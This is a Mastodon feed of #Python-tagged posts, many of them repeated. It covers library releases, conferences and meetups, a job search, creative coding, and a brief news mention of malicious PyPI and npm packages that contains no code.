I am a #Canadian, fluent in both #English and #French. I have experience with several programming languages. My strongest proficiency is with #Haskell and #C. I also have a reasonable grasp of #HTML, #JavaScript, #SQL, #Python, #Lua, #Linux system administration, #bash scripting, #Perl, #AWK, some #Lisp (common, scheme, and emacs), and probably several others I've forgotten to mention.
I am not necessarily looking for something in tech. I just need something stable. I have done everything from software development, to customer support, to factory work, though my current circumstances make in-person work more difficult than remote work. I have been regarded as a hard worker in every job I have ever held.
@ThePSF@fosstodon.org
Grab the #Python From Beginner to Advanced Humble Bundle by Packt! Whether you're just starting out or diving into advanced topics, this bundle has something for everyone 🐍📚 Get a great deal & support the PSF– only 3 days left, so grab the bundle today!
https://www.humblebundle.com/books/python-from-beginner-to-advanced-packt-books
@ThePSF@fosstodon.org
Grab the #Python From Beginner to Advanced Humble Bundle by Packt! Whether you're just starting out or diving into advanced topics, this bundle has something for everyone 🐍📚 Get a great deal & support the PSF– only 3 days left, so grab the bundle today!
https://www.humblebundle.com/books/python-from-beginner-to-advanced-packt-books
@ThePSF@fosstodon.org
Grab the #Python From Beginner to Advanced Humble Bundle by Packt! Whether you're just starting out or diving into advanced topics, this bundle has something for everyone 🐍📚 Get a great deal & support the PSF– only 3 days left, so grab the bundle today!
https://www.humblebundle.com/books/python-from-beginner-to-advanced-packt-books
@me@social.jlamothe.net
I am in urgent job search mode, so I'm gonna throw this out here and see if anything comes of it.
I am a #Canadian, fluent in both #English and #French. I have experience with several programming languages. My strongest proficiency is with #Haskell and #C. I also have a reasonable grasp of #HTML, #JavaScript, #SQL, #Python, #Lua, #Linux system administration, #bash scripting, #Perl, #AWK, some #Lisp (common, scheme, and emacs), and probably several others I've forgotten to mention.
I am not necessarily looking for something in tech. I just need something stable. I have done everything from software development, to customer support, to factory work, though my current circumstances make in-person work more difficult than remote work. I have been regarded as a hard worker in every job I have ever held.
@me@social.jlamothe.net
I am in urgent job search mode, so I'm gonna throw this out here and see if anything comes of it.
I am a #Canadian, fluent in both #English and #French. I have experience with several programming languages. My strongest proficiency is with #Haskell and #C. I also have a reasonable grasp of #HTML, #JavaScript, #SQL, #Python, #Lua, #Linux system administration, #bash scripting, #Perl, #AWK, some #Lisp (common, scheme, and emacs), and probably several others I've forgotten to mention.
I am not necessarily looking for something in tech. I just need something stable. I have done everything from software development, to customer support, to factory work, though my current circumstances make in-person work more difficult than remote work. I have been regarded as a hard worker in every job I have ever held.
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Just released: PrettyTable 3.16 🚀
Just released: norwegianblue 0.21.0 🚀
Add support for OSC 8 hyperlinks in the terminal.
https://github.com/prettytable/prettytable/releases/tag/3.16.0
norwegianblue now uses this to create hyperlinks in the terminal instead of printing a wide column of links. Use command+click with iTerm.
Also create hyperlinks for Markdown, reStructuredText and HTML output.
https://github.com/hugovk/norwegianblue/releases/tag/0.21.0
Attached are before and after images.
@oslandia@fosstodon.org
🗺 Oslandia is a French SME specializing in OpenSource Geographical Systems ( #GIS ). We design and implement IT systems to manage geographical data.
🎓 We are an opensource editor of #QGIS, experts of #PostGIS, #GDAL, #Python, Web 3D visualization & more …
👩💻 Our team of ~30 (great) people is distributed all over France & full remote is at the heart of our organization.
🔗 More info : https://oslandia.com and linkedin
➡️ We will post company updates and GIS-related infos
@ptmcg@fosstodon.org
Well, I had a minor stumble releasing #pyparsing 3.2.2 this past weekend, with a bug (Issue #600) that snuck past several thousand unit tests. So I added 1 new test with several hundred new cases that caught that bug, then fixed it (and a sibling bug 10 lines of code away from the first one). Great immediate notice of failing CI pipelines from diligent users, I was able to get 3.2.3 out with the fix Monday evening. And all's right with the world again (the #Python world, anyway).
@hugovk@mastodon.social
GitHub Actions now supports free-threaded Python!
I wrote up how to add it your workflows so you can start testing free-threaded Python 3.13 and 3.14 with either actions/setup-python or actions/setup-uv.
https://hugovk.dev/blog/2025/free-threaded-python-on-github-actions/
@oslandia@fosstodon.org
🗺 Oslandia is a French SME specializing in OpenSource Geographical Systems ( #GIS ). We design and implement IT systems to manage geographical data.
🎓 We are an opensource editor of #QGIS, experts of #PostGIS, #GDAL, #Python, Web 3D visualization & more …
👩💻 Our team of ~30 (great) people is distributed all over France & full remote is at the heart of our organization.
🔗 More info : https://oslandia.com and linkedin
➡️ We will post company updates and GIS-related infos
@glyph@mastodon.social · Reply to Glyph's post
Oh hey it's that time that I said, in just a minute or two come watch me do some #python #opensource #livestreaming on various things
@hugovk@mastodon.social
GitHub Actions now supports free-threaded Python!
I wrote up how to add it your workflows so you can start testing free-threaded Python 3.13 and 3.14 with either actions/setup-python or actions/setup-uv.
https://hugovk.dev/blog/2025/free-threaded-python-on-github-actions/
@hugovk@mastodon.social
GitHub Actions now supports free-threaded Python!
I wrote up how to add it your workflows so you can start testing free-threaded Python 3.13 and 3.14 with either actions/setup-python or actions/setup-uv.
https://hugovk.dev/blog/2025/free-threaded-python-on-github-actions/
@hugovk@mastodon.social
GitHub Actions now supports free-threaded Python!
I wrote up how to add it your workflows so you can start testing free-threaded Python 3.13 and 3.14 with either actions/setup-python or actions/setup-uv.
https://hugovk.dev/blog/2025/free-threaded-python-on-github-actions/
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Just released: humanize 4.12.2 🚀
Bugfix release, mainly fixing the spelling of licence/license so the file is properly included in the package.
Reminder how to do PEP 639 metadata: https://hugovk.dev/blog/2025/improving-licence-metadata/
@villares@ciberlandia.pt
Cheers, #CreativeCoding friends!
I'm going to try out something, let's see what happens... next Saturday (2025-03-29) and possibly on some other Saturdays after that. I'm going to host an online space where I show something about Creative Coding with #Python and #py5. I'm calling it "Python Creative Coding Free Walking Tour". I'll also do some "py5 Office Hours", Q&A and on-boarding.
It will be free, and I'll accept donations, just like the free walking tour we have showing off nice spots of São Paulo for tourists. I hope it will be even better than that: as I studied architecture I find the tour guide's explanations a bit over the top and sometimes missing the point, but maybe mine will also be an over the top creative coding tour, who knows? you'll have to judge by yourselves.
The first, "walking tour" part will be from 11:00AM BRT (UCT -3) to 12:00 and then, the second, "office hours" part, will be from 12:15 to 13:00, when people will be able to ask me anything about py5 and I'll try to answer to the best of my knowledge, it will also be an opportunity to get help setting up your tools/environment in order to take your first steps drawing with code.
@glyph@mastodon.social · Reply to Glyph's post
That's it for now — trying to take it easy on the self-promo for the moment because I think I'm getting close to actually launching one of these apps for real, and then I'll get REAL obnoxious. Maybe I'll even remember one of those hashtags like #python or #opensource next time
@villares@ciberlandia.pt
Cheers, #CreativeCoding friends!
I'm going to try out something, let's see what happens... next Saturday (2025-03-29) and possibly on some other Saturdays after that. I'm going to host an online space where I show something about Creative Coding with #Python and #py5. I'm calling it "Python Creative Coding Free Walking Tour". I'll also do some "py5 Office Hours", Q&A and on-boarding.
It will be free, and I'll accept donations, just like the free walking tour we have showing off nice spots of São Paulo for tourists. I hope it will be even better than that: as I studied architecture I find the tour guide's explanations a bit over the top and sometimes missing the point, but maybe mine will also be an over the top creative coding tour, who knows? you'll have to judge by yourselves.
The first, "walking tour" part will be from 11:00AM BRT (UCT -3) to 12:00 and then, the second, "office hours" part, will be from 12:15 to 13:00, when people will be able to ask me anything about py5 and I'll try to answer to the best of my knowledge, it will also be an opportunity to get help setting up your tools/environment in order to take your first steps drawing with code.
@perrick@mamot.fr · Reply to Chris Adams's post
@mrchrisadams In 2018, #python was chosen "unofficially" to be taught to all pupils in France (at the Lycée level, for 16 to 18 years old). In 2020 it became official, and not only for mathematics. I guess we're reaping some rewards now !
@ptmcg@fosstodon.org
I have a code section where I must select one of 4 pyparsing classes based on the settings of 2 arguments - whether to match a string with or without case sensitivity, and as or as not a keyword.
See examples below - I had hoped to make this a poll, but apparently my client will only permit images _or_ polling :( So respond in replies please. #python
@greg@icosahedron.website
#Python dicts are ordered (as of 3.7) by insertion order. But Sets are not. Seems ilke an oversight...?
There are 102 comments on this suggestion to add an OrderedSet but why not just enhance Set to work like dict keys? (A lot of the comments aren't helpful either because they just say 'ah you rube, sets aren't ordered' which is appeal to mathematical definition instead of how people use them irl)
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Just released: pypistats 1.9.0 🚀
pypistats is CLI to show download stats from PyPI
https://pypi.org/project/pypistats/1.9.0/
* Replace deprecated classifier with licence expression (PEP 639)
* Remove GitHub attestation, uses PyPI attestations instead (PEP 740)
* Add input validation for total and fix --monthly with no mirror
* Update docs for recent command
@ptmcg@fosstodon.org
Pyparsing 3.2.2 cleans up a formerly internal-only utility method make_compressed_re(), and makes it part of the public API. Given a list of strings, it generates a regex to match those strings and only those (so no cheating like ".*").
Here are before/after expressions for matching chemical symbols.
@mdione@en.osm.town
It's probably nice that `psycopg2` decided to go with `%s` as the interpolator for prepared statements (even when one would expect other types like `%d`), but I have to wonder why it only supports those and not `?` like many other db interfaces, including the builtin `sqlite`. Does anyone know?
@villares@pynews.com.br
Code at: https://github.com/villares/sketch-a-day/tree/main/2025/sketch_2025_02_26
More sketch-a-day: https://abav.lugaralgum.com/sketch-a-day
If you like this, support my work: https://www.paypal.com/donate/?hosted_button_id=5B4MZ78C9J724
#OSMnx #OpenStreetMap #shapely #Processing #Python #py5 #CreativeCoding
@hugovk@mastodon.social
The Python version diagram has been updated to show the bugfix/security split for each release. (Before, the bars were either completely green or yellow.)
https://devguide.python.org/versions/
It's also zoomed in and shows fewer releases than before. There's another chart further down the page showing all of 2.6 to 3.14. And the wording in the status key has been refreshed to make it clearer.
@hugovk@mastodon.social
The Python version diagram has been updated to show the bugfix/security split for each release. (Before, the bars were either completely green or yellow.)
https://devguide.python.org/versions/
It's also zoomed in and shows fewer releases than before. There's another chart further down the page showing all of 2.6 to 3.14. And the wording in the status key has been refreshed to make it clearer.
@tikhonov_a@mastodon.social
@pycharm has a handy feature like adding a name import by ⌥+Enter on an underlined unknown name. If you use it and suffer from the fact that the name is added to the existing "from" import at the end, and not in alphabetical order, as linters want, then this option will solve your problem. It is located in Editor → Code Style → #python → Imports.
@nedbat@hachyderm.io
If your test suite can run on #Python 3.14, and you use branch coverage measurement, please get Python 3.14.0a6 and coverage․py 7.7.0 and let me know how the speed compares to older versions! It will be faster!
@nedbat@hachyderm.io
If your test suite can run on #Python 3.14, and you use branch coverage measurement, please get Python 3.14.0a6 and coverage․py 7.7.0 and let me know how the speed compares to older versions! It will be faster!
@SnoopJ@hachyderm.io
part of what makes #Python so satisfying to write for me is that it provides an easy-to-access Mersenne Twister implementation
MT19937 is so so good
I love writing little programs with deterministic randomness
@glyph@mastodon.social · Reply to Glyph's post
_one_ day I will remember to put the #python #opensource #programming hashtags on this sort of post
@jacobpy@mastodon.social · Reply to Robert Roskam's post
@raiderrobert I'm making customized cms for few customers and I'm more friendly with #python than #php, so #wagtail looks as good solution than #wordpress. Wagtails StreamFields are AWESOME. Building selfhosted site right now - not easy, but i'm still surprised how it works ))
@Jose_A_Alonso@mathstodon.xyz
Readings shared March 16, 2025. https://jaalonso.github.io/vestigium/posts/2025/03/16-readings_shared_03-16-25 #FunctionalProgramming #Haskell #Math #Programming #Python
@perrick@mamot.fr · Reply to Chris Adams's post
@mrchrisadams In 2018, #python was chosen "unofficially" to be taught to all pupils in France (at the Lycée level, for 16 to 18 years old). In 2020 it became official, and not only for mathematics. I guess we're reaping some rewards now !
@GerryT@mastodon.social
Share of programming languages used by #GTK3 / #GTK4 applications (2025-03-16):
28% #Python
21% #Vala
20% #Rust
17% #C
06% #C++ #Cplusplus
06% #gjs #Javascript
04% Other: #Csharp #Go #Lua #Haskell #Swift #Typescript #Crystal #Swift #D #Perl
63% use GTK4 (90% of them use #libadwaita), while still 37% use GTK3
Method: Source [1] lists 543 awesome #gtk (3/4) #opensource applications and their #programminglanguage
[1] https://github.com/valpackett/awesome-gtk
@GerryT@mastodon.social
Share of programming languages used by #GTK3 / #GTK4 applications (2025-03-16):
28% #Python
21% #Vala
20% #Rust
17% #C
06% #C++ #Cplusplus
06% #gjs #Javascript
04% Other: #Csharp #Go #Lua #Haskell #Swift #Typescript #Crystal #Swift #D #Perl
63% use GTK4 (90% of them use #libadwaita), while still 37% use GTK3
Method: Source [1] lists 543 awesome #gtk (3/4) #opensource applications and their #programminglanguage
[1] https://github.com/valpackett/awesome-gtk
@Jose_A_Alonso@mathstodon.xyz
Permutations with no consecutive elements. ~ John D. Cook. https://www.johndcook.com/blog/2025/03/15/permutations-question/ #Math #Python #Programming
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Especially for π day and #FediDonutFriday!
Just released: Python 3.14.0a6 🚀
https://discuss.python.org/t/python-3-14-0-alpha-6/84513
https://docs.python.org/3.14/whatsnew/3.14.html
This release brought to you by a Karelian pie (Karjalanpiirakka), a strawberry and gooseberry pie (mansikka-karviais piirakka) and a slice of blueberry pie (mustikkapiirakka).
#Python #CPython #Python314 #release #food #PiDay #PiiPäivä #pie #FediDonutFriday
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Especially for π day and #FediDonutFriday!
Just released: Python 3.14.0a6 🚀
https://discuss.python.org/t/python-3-14-0-alpha-6/84513
https://docs.python.org/3.14/whatsnew/3.14.html
This release brought to you by a Karelian pie (Karjalanpiirakka), a strawberry and gooseberry pie (mansikka-karviais piirakka) and a slice of blueberry pie (mustikkapiirakka).
#Python #CPython #Python314 #release #food #PiDay #PiiPäivä #pie #FediDonutFriday
@villares@pynews.com.br
#OpenStreetMap #osmnx
Code at: https://github.com/villares/sketch-a-day/tree/main/2025/sketch_2025_03_13
More sketch-a-day: https://abav.lugaralgum.com/sketch-a-day
If you like this, support my work: https://www.paypal.com/donate/?hosted_button_id=5B4MZ78C9J724 #Processing #Python #py5 #CreativeCoding
@villares@pynews.com.br
#OpenStreetMap #osmnx
Code at: https://github.com/villares/sketch-a-day/tree/main/2025/sketch_2025_03_13
More sketch-a-day: https://abav.lugaralgum.com/sketch-a-day
If you like this, support my work: https://www.paypal.com/donate/?hosted_button_id=5B4MZ78C9J724 #Processing #Python #py5 #CreativeCoding
@ThePSF@fosstodon.org
The PSF is excited to share that Thomas Wouters has been awarded our Distinguished Service Award for his 25 years of service, dedication, and behind-the-scenes work which have helped shape the PSF and the #Python community into what they are today 👏👏
https://pyfound.blogspot.com/2025/03/dsa-thomas-wouters.html
@YesJustWolf@hachyderm.io
I had many concerns about things **not** provided by #rustlang #rust when I started this journey. I tooted about them. You can look back at my history to see. As I have learned, I have seen what Rust has instead of each missing feature. #til about `catch_unwind` and looked deeper into `Result`s. So now I feel better about Rust not having #Python exceptions.
I still don’t see a replacement for Python’s keyword arguments or default values in function calls. Every time I mention this, people reply that I shouldn’t have so many arguments that I need these things. That’s absolutely not why I want them. I want them because they are better than comments at helping the reader understand what is happening without diving down into the function definition.
@jean_dupont@mastodon.social
I hate to crawl web pages whether it be with #python or #javascript.
But things never got as snappy than with *rust-scraper*.
Use it with *reqwest* and literally swallows websites in minutes. 😏
If you don't need to render #javascript, I recommend.
Else you'll have to combine it with the #deno crate. 🕵
@ThePSF@fosstodon.org
The PSF is excited to share that Thomas Wouters has been awarded our Distinguished Service Award for his 25 years of service, dedication, and behind-the-scenes work which have helped shape the PSF and the #Python community into what they are today 👏👏
https://pyfound.blogspot.com/2025/03/dsa-thomas-wouters.html
@ThePSF@fosstodon.org
The PSF is excited to share that Thomas Wouters has been awarded our Distinguished Service Award for his 25 years of service, dedication, and behind-the-scenes work which have helped shape the PSF and the #Python community into what they are today 👏👏
https://pyfound.blogspot.com/2025/03/dsa-thomas-wouters.html
@lritter@mastodon.gamedev.place · Reply to Leonard Ritter's post
@jean_dupont@mastodon.social
I hate to crawl web pages whether it be with #python or #javascript.
But things never got as snappy than with *rust-scraper*.
Use it with *reqwest* and literally swallows websites in minutes. 😏
If you don't need to render #javascript, I recommend.
Else you'll have to combine it with the #deno crate. 🕵
@Allyn@mastodon.ie
I’ll be giving a talk for Python Ireland this Wednesday, hosted by Pinterest Dublin!
I’ll be speaking about the new wave of open source social media platforms, such as Mastodon (a replacement for Twitter) and Pixelfed (a replacement for Instagram) and demonstrating how to build bots for them.
The talk is booked out at the moment but we’re anticipating some last minute drop outs, so keep an eye out for a free slot - register here:
https://meetu.ps/e/NVRLh/JbmdX/i
@Allyn@mastodon.ie
I’ll be giving a talk for Python Ireland this Wednesday, hosted by Pinterest Dublin!
I’ll be speaking about the new wave of open source social media platforms, such as Mastodon (a replacement for Twitter) and Pixelfed (a replacement for Instagram) and demonstrating how to build bots for them.
The talk is booked out at the moment but we’re anticipating some last minute drop outs, so keep an eye out for a free slot - register here:
https://meetu.ps/e/NVRLh/JbmdX/i
@nrennie@fosstodon.org
I've started collecting together some of my examples of data-driven art 📊 (with accompanying code) into a gallery 🎨
Link: https://nrennie.rbind.io/data-art/
(Blog post coming soon about what I think data art is and why it's useful, alongside a tutorial-style example!)
@nedbat@hachyderm.io
I like that the Virtual Keypunch includes a fictitious #Python punchcard: https://www.masswerk.at/keypunch/
@glyph@mastodon.social
pro tip: do you want to edit a #Python script which:
1. can only ever be a script
2. should never be imported as a module
3. you want to be recognized by your editor as a python file without faffing around with extra hints
4. for whatever reason you don't want to have a __main__ block?
don't make it a .py file, make it a .pyw file.
@halcy@icosahedron.website · Reply to halcy :icosahedron:'s post
As expected, here's a quick Mastodon.py release that fixes some issues people found, mostly pagination related. Upgrading from 2.0.0 to this should be perfectly safe, it's bugfixes only~ Thank you to everyone who reported an issue or even contributed a PR to immediately fix it <3 🐍
* Changelog on GitHub: https://github.com/halcy/Mastodon.py/releases/tag/v2.0.1
* Docs: https://mastodonpy.readthedocs.io/en/v2.0.1/
* PyPi: https://pypi.org/project/Mastodon.py/2.0.1/
@ThePSF@fosstodon.org
The PSF is excited to share that Ewa Jodlowska has been awarded our Distinguished Service Award for her pivotal role in transforming and stewarding the PSF to better serve the #Python community and its future 👏👏
https://pyfound.blogspot.com/2025/03/psf-dsa-ewa-jodlowska.html
@ThePSF@fosstodon.org
The PSF is excited to share that Ewa Jodlowska has been awarded our Distinguished Service Award for her pivotal role in transforming and stewarding the PSF to better serve the #Python community and its future 👏👏
https://pyfound.blogspot.com/2025/03/psf-dsa-ewa-jodlowska.html
@HelPy@fosstodon.org
🇫🇮🐍 Welcome to our next meetup on Wednesday 19th March 2025 at Taiste:
Talks:
✒️ @hamatti - Why developers should write blog posts
💉 Sakari Cajanus - Dependency injection in Python (or why Python is not Java)
🦀 Mislav Novakovic - Refactoring to Rust
And the famous HelPy quiz!
https://www.meetup.com/helpy-meetups/events/306522919/
Please also drop us a line if you’d like to give a talk in April or beyond ⭐
#HelPy #Helsinki #Python #meetup #writing #blogging #DependencyInjection #Rust
@alltechpacks@mastodon.social
@alltechpacks@mastodon.social
@fancysandwiches@urbanists.social
Petition to rename Python's __init__ method to __boa__ so we can call them Boa constructors
@fancysandwiches@urbanists.social
Petition to rename Python's __init__ method to __boa__ so we can call them Boa constructors
@maxfrischknecht@tldr.nettime.org
If you ever find yourself in the position to calculate mean sea surface temperatures using Python from global netCDF4 data provided by the National Oceanic and Atmospheric Administration (NOAA), here you go:
@NorthBayPython@social.northbaypython.org
If we sell one ticket a day until #NBPy 2025…
… we will have sold no fewer than 53 tickets. Plus the three I've already told you about. Plus…
… oh never mind.
Buy your #NBPy ticket today! https://pretix.northbaypython.org/nbpy/nbpy-2025/ #Python #SFBA
@NorthBayPython@social.northbaypython.org
If we sell one ticket a day until #NBPy 2025…
… we will have sold no fewer than 53 tickets. Plus the three I've already told you about. Plus…
… oh never mind.
Buy your #NBPy ticket today! https://pretix.northbaypython.org/nbpy/nbpy-2025/ #Python #SFBA
@yngvem@fosstodon.org
It's happening, @marieroald and I are doing our third #PyConUS, this time with a tutorial on Packaging with uv and a talk about #Unicode in #Python!
@fancysandwiches@urbanists.social
Petition to rename Python's __init__ method to __boa__ so we can call them Boa constructors
@ptmcg@fosstodon.org
#Pyparsing API going back to version 1.0.0 (2003) has used a camelCase name scheme for its methods and argument names. In versions 3.0-3.1 (Oct 2021-Jun 2023), I added PEP8-compliant snake_case names, while maintaining synonym definitions for the legacy names for backward compatibility.
Soon, pyparsing will begin emitting DeprecationWarnings for the legacy names. To ease this transition, the next release 3.2.2 will include a utility to convert in place scripts that use the legacy names. #python
@yngvem@fosstodon.org
It's happening, @marieroald and I are doing our third #PyConUS, this time with a tutorial on Packaging with uv and a talk about #Unicode in #Python!
@treyhunner@mastodon.social
Did you know that Death Cab For Cutie wrote a song about how #Python's variables work?
It's called Different Names for the Same Thing.
@nrennie@fosstodon.org
I've started collecting together some of my examples of data-driven art 📊 (with accompanying code) into a gallery 🎨
Link: https://nrennie.rbind.io/data-art/
(Blog post coming soon about what I think data art is and why it's useful, alongside a tutorial-style example!)
@NorthBayPython@social.northbaypython.org
It's our full program! 18 talks, a mix of talks sharing the joy of #Python, and broader topics that we think are super-important for the moment we're in right now.
Check out the list: https://pretalx.northbaypython.org/nbpy-2025/talk/
Join us, April 26th & 27th: https://pretix.northbaypython.org/nbpy/nbpy-2025/
@NorthBayPython@social.northbaypython.org
It's our full program! 18 talks, a mix of talks sharing the joy of #Python, and broader topics that we think are super-important for the moment we're in right now.
Check out the list: https://pretalx.northbaypython.org/nbpy-2025/talk/
Join us, April 26th & 27th: https://pretix.northbaypython.org/nbpy/nbpy-2025/
@halcy@icosahedron.website · Reply to halcy :icosahedron:'s post
As expected, here's a quick Mastodon.py release that fixes some issues people found, mostly pagination related. Upgrading from 2.0.0 to this should be perfectly safe, it's bugfixes only~ Thank you to everyone who reported an issue or even contributed a PR to immediately fix it <3 🐍
* Changelog on GitHub: https://github.com/halcy/Mastodon.py/releases/tag/v2.0.1
* Docs: https://mastodonpy.readthedocs.io/en/v2.0.1/
* PyPi: https://pypi.org/project/Mastodon.py/2.0.1/
@halcy@icosahedron.website · Reply to halcy :icosahedron:'s post
As expected, here's a quick Mastodon.py release that fixes some issues people found, mostly pagination related. Upgrading from 2.0.0 to this should be perfectly safe, it's bugfixes only~ Thank you to everyone who reported an issue or even contributed a PR to immediately fix it <3 🐍
* Changelog on GitHub: https://github.com/halcy/Mastodon.py/releases/tag/v2.0.1
* Docs: https://mastodonpy.readthedocs.io/en/v2.0.1/
* PyPi: https://pypi.org/project/Mastodon.py/2.0.1/
@frankel@mastodon.top
@frankel@mastodon.top
@nogajun@mastodon.social
ブログを整理中で文章を置く場所がないので、ひとまず出せるものだけzennに置いた。引き上げるかもしれんけど。ていうか、tvドメインも維持費がすごく上がったから止めたいのよね…
#linux #libreoffice #python
https://zenn.dev/nogajun
@clonbg@masto.es
@kattni@social.afront.org
My First Major Open Source Project Contribution - In which I join up with BeeWare and end up with an amazing experience https://kattni.com/my-first-major-open-source-project-contribution #Personal #Programming #OpenSource #Python #WebDevelopment #Learning
@clonbg@masto.es
@yaarur@tooot.im
My first python program 😂 😜 😂
@yaarur@tooot.im
My first python program 😂 😜 😂
@sphakos@toot.cat
@NorthBayPython@social.northbaypython.org
ok I think enough speakers have confirmed their talks that we can start sharing some of our talks with you all
behold: 14 of what will be the 17-18 talks that make up #NBPy 2025.
https://pretalx.northbaypython.org/nbpy-2025/talk/
ENJOY
@villares@pynews.com.br
Code at: https://github.com/villares/sketch-a-day/tree/main/2025/sketch_2025_02_26
More sketch-a-day: https://abav.lugaralgum.com/sketch-a-day
If you like this, support my work: https://www.paypal.com/donate/?hosted_button_id=5B4MZ78C9J724
#OSMnx #OpenStreetMap #shapely #Processing #Python #py5 #CreativeCoding
@lobsters@mastodon.social
Over the clouds: CPython, Pyodide and SPy via @paulox https://lobste.rs/s/idtjjj #c #python #wasm
http://antocuni.eu/2025/02/26/over-the-clouds-cpython-pyodide-and-spy/
@lobsters@mastodon.social
Over the clouds: CPython, Pyodide and SPy via @paulox https://lobste.rs/s/idtjjj #c #python #wasm
http://antocuni.eu/2025/02/26/over-the-clouds-cpython-pyodide-and-spy/
@0x40k@infosec.exchange
Hey everyone, what's cooking in the open-source universe? 🤯 I just stumbled upon something that's seriously mind-blowing.
So, there's this Python library pretending to be a music tool (automslc), but get this – it's actually illegally downloading songs from Deezer! And the worst part? It turns your computer into an accomplice in a huge music piracy operation. Seriously, a digital pirate cove. 🏴☠️
And then there's this npm saga with @ton-wallet/create... Crypto wallet emptied, just like that! 💸
The moral of the story? Open source rocks, but blindly trusting everything is a recipe for disaster. Always double-check those dependencies! Automated scans are cool, but a real penetration test? That's pure gold. 🥇
Clients are always so appreciative when we can spot and fix this kind of stuff beforehand!
Now, I'm curious: What are your go-to methods for keeping your codebase squeaky clean and secure? Any tips or tricks you'd like to share?
#infosec #pentesting #devsecops #opensource #python #javascript
@eulanov@m.eula.dev
未経験者含む高校生で校内のWebアプリを作ろうとしたら失敗した話。 #Python - Qiita https://qiita.com/harryp0tterK/items/e8de3e1eed654308cd0d
> 学校の探究の時間というグループ探究の時間がありまして、そこで、プログラミング経験者一人と未経験者五人で校内の学習Webアプリを作ろうとしたら失敗した話です。自分の記録として残しておきます。
こういうことを自分の言葉でレポートして反省に活かせるの、すばらしいよね。
(と言いながらうちのプロジェクトのあそこのチームのほうを眺める)
@nuculabs@mastodon.social
A nice article about adding open telemetry to Django
https://allthingsopen.org/articles/what-is-opentelemetry-add-django-application
#python
@nuculabs@mastodon.social
A nice article about adding open telemetry to Django
https://allthingsopen.org/articles/what-is-opentelemetry-add-django-application
#python
@AugierLe42e@diaspodon.fr
Turn YunoHost into a domestic NAS OS?
https://blog.christophe-henry.dev/2025/02/01/turn-yunohost-into-a-domestic-nas-os.html
"A few years ago, I encountered a situation with my personnal computer. Overnight, it started mounting my /home as read-only. Everything seems to indicate that my hard drive was about to fail. I was doing regular backups, but not nearly often enough… After making an emergency backup and changing the falty disk, it was time to consider a more reliable solution…"
@tartley@fosstodon.org
Inspired by a woodland hike under the first blue skies we've seen this year, I got home and showed my kiddo how to draw an #svg tree with recursive #python functions. The shape is very sensitive to parameters like the factors by which each branch is thinner and shorter than its parents, but we tuned them until our results looked like the trees we'd seen in the afternoon. #GenArt
@ambv@mastodon.social
I spent last week in Valtournenche with @antocuni and Hood Chatham and managed to use SPy to accelerate my #Python code in the browser. It's too early for general adoption, but not too early to get excited.
https://lukasz.langa.pl/f37aa97a-9ea3-4aeb-b6a0-9daeea5a7505/
@ambv@mastodon.social
I spent last week in Valtournenche with @antocuni and Hood Chatham and managed to use SPy to accelerate my #Python code in the browser. It's too early for general adoption, but not too early to get excited.
https://lukasz.langa.pl/f37aa97a-9ea3-4aeb-b6a0-9daeea5a7505/
@ambv@mastodon.social
I spent last week in Valtournenche with @antocuni and Hood Chatham and managed to use SPy to accelerate my #Python code in the browser. It's too early for general adoption, but not too early to get excited.
https://lukasz.langa.pl/f37aa97a-9ea3-4aeb-b6a0-9daeea5a7505/
@hmelman@mastodon.social
Overdue for an #Introduction
I'm a retired software engineer and recovering blogger near #Boston. I write some #Python, still use #Emacs, and only use #Apple stuff these days.
I watch a lot of #movies. I attend #IFFBoston and often the Boston SNFC. I try to see all #Oscars nominees.
I play #BoardGames and want to play more #DnD.
Interests include #Politics, #SCOTUS, #Astronomy, #Science, #SciFi, #Comics #CalvinAndHobbes
@AudeCaussarieu@sciences.re
Après 3 ans sur mastodon, je change d'instance pour me créer un vrai compte public pour parler de boulot et de biblio !
👉 Didactique des sciences : j'ai passé pas mal de temps dans le monde universitaire, maintenant je vole de mes propres ailes.
Les sujets qui m'intéressent en particulier : #Maths4Sciences, #MesureEtIncertitudes, #QCM, #Evaluation et le rôle de la formation dans la transformation des comportements.
👉 À titre perso, j'ai quelques compagnons à 4 pattes (🐴,🐴, 😼; 🐶) et j'ai vraiment besoin de passer du temps avec elleux !
👉J'essaie de m'approprier les outils libres : #inkscape, #Python, #R, #Libreoffice, #Zaclys, #Twine, #Scenari, #Framasoft ... Mais je sais toujours rien faire avec des lignes de commande... #GeekEnCarton
@kattni@social.afront.org
My First Major Open Source Project Contribution - In which I join up with BeeWare and end up with an amazing experience https://kattni.com/my-first-major-open-source-project-contribution #Personal #Programming #OpenSource #Python #WebDevelopment #Learning
@glyph@mastodon.social
Does anyone out there on the fediverse happen to know how I could embed Sparkle in a #macOS #Python application using #PyObjC and packaged with #Py2App ? I gather that the --frameworks option is involved, but … is it just as simple as downloading the bundle from https://github.com/sparkle-project/Sparkle/releases/tag/2.6.4 and then pointing the `--frameworks` option at the `.framework` dir in there? If I do that, what is the right incantation to get some pyobjc bindings packaged and finding it both in dev and in dist?
@amethyst@n7.gg
You really do need to get your talk proposal submitted today! To help get my fellow procrastinators inspired, I’ve provided my own selection of favorite barn cat conference photos from the past year’s event.
You don’t want to miss it, and the best way to make that happen is to propose a talk that we want to hear!
🐈 #NBPy #Python #PythonCats
https://social.northbaypython.org/@NorthBayPython/114043122523621803
@amethyst@n7.gg
You really do need to get your talk proposal submitted today! To help get my fellow procrastinators inspired, I’ve provided my own selection of favorite barn cat conference photos from the past year’s event.
You don’t want to miss it, and the best way to make that happen is to propose a talk that we want to hear!
🐈 #NBPy #Python #PythonCats
https://social.northbaypython.org/@NorthBayPython/114043122523621803
@Jose_A_Alonso@mathstodon.xyz
Readings shared February 20, 2025. https://jaalonso.github.io/vestigium/posts/2025/02/20-readings_shared_02-20-25 #CommonLisp #Haskell #ITP #LLMs #LeanProver #Math #Programming #Python
@jonny@neuromatch.social
Are there any good web accessibility checkers for python? We have received some really helpful feedback from blind and visually impaired people and I wanted to honor their time by adding tests to prevent regression, and i am finding I am wanting to write a bunch of the WCAG guidelines as selenium tests in pytest. I know that a lot of the guidelines can't necessarily be automated, but stuff like "all images have alt, headers are in correct order and start at h1, buttons have labels," etc. Can be. I figured there should be some tool that I can point at a webpage and be like "tell me whats busted here" like I can to some extent with the Firefox accessbility properties inspector but am not finding any. Any tips?
@jonny@neuromatch.social
